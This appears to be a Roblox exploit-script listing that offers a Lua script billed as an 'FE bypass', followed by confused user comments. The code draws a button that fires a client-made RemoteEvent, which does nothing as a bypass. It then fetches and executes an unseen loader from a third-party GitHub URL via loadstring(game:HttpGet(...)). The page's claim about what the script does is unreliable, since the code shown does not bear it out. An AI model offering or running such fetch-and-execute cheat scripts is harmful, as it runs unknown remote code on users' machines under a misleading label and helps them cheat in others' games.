idk some fe bypass that barely works
Key RequiredUniversal

idk some fe bypass that barely works

Universal Scripttfoeofficialtfoeofficial 21.6K views 6 executesUpdated May 12, 2024
5.0/ 5(1 votes)
10100% Positive
Lua Script•76 lines (2029 chars)
--[[

		Gui2Lua™
		10zOfficial
		Version 1.0.0

]]


-- Instances

local ScreenGui = Instance.new("ScreenGui")
local TextButton = Instance.new("TextButton")

-- Properties

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

TextButton.Parent = ScreenGui
TextButton.BackgroundColor3 = Color3.new(1, 1, 1)
TextButton.BorderColor3 = Color3.new(0, 0, 0)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.326594085, 0, 0.444999993, 0)
TextButton.Size = UDim2.new(0, 200, 0, 50)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "bypass fe"
TextButton.TextColor3 = Color3.new(0, 0, 0)
TextButton.TextSize = 14
TextButton.MouseButton1Click:Connect(function()
	 local remote = Instance.new("RemoteEvent")
	 remote.Parent = game.ReplicatedStorage
	 remote.Name = "fe"
	 remote:FireServer()
	 wait(3)
	loadstring(game:HttpGet('https://raw.githubusercontent.com/FreeRobloxScripts1/Haxker_6666666-Hub/main/loader'))()
end)
local UserInputService = game:GetService("UserInputService")

local gui = TextButton

local dragging
local dragInput
local dragStart
local startPos

local function update(input)
	local delta = input.Position - dragStart
	gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end

gui.InputBegan:Connect(function(input)
	if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
		dragging = true
		dragStart = input.Position
		startPos = gui.Position

		input.Changed:Connect(function()
			if input.UserInputState == Enum.UserInputState.End then
				dragging = false
			end
		end)
	end
end)

gui.InputChanged:Connect(function(input)
	if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
		dragInput = input
	end
end)

UserInputService.InputChanged:Connect(function(input)
	if input == dragInput and dragging then
		update(input)
	end
end)

Features & Information

e

Community Comments (6)

tfoeofficialtfoeofficialMay 12, 2024(edited)

jk just tested works well

zinszinsMay 12, 2024(edited)

what is this for?

XtraYsfXtraYsfMay 12, 2024(edited)

Put description bro what does this script do

blforfree67blforfree67May 12, 2024(edited)

It bypasses fe dumbass

williamdacurlawilliamdacurlaMay 13, 2024(edited)

I'm also quite confused when executing this script,so first we will execute this script,then use script ultimate gui trolling and it worked right?

kassemabdo841kassemabdo841May 14, 2024(edited)

tf is this

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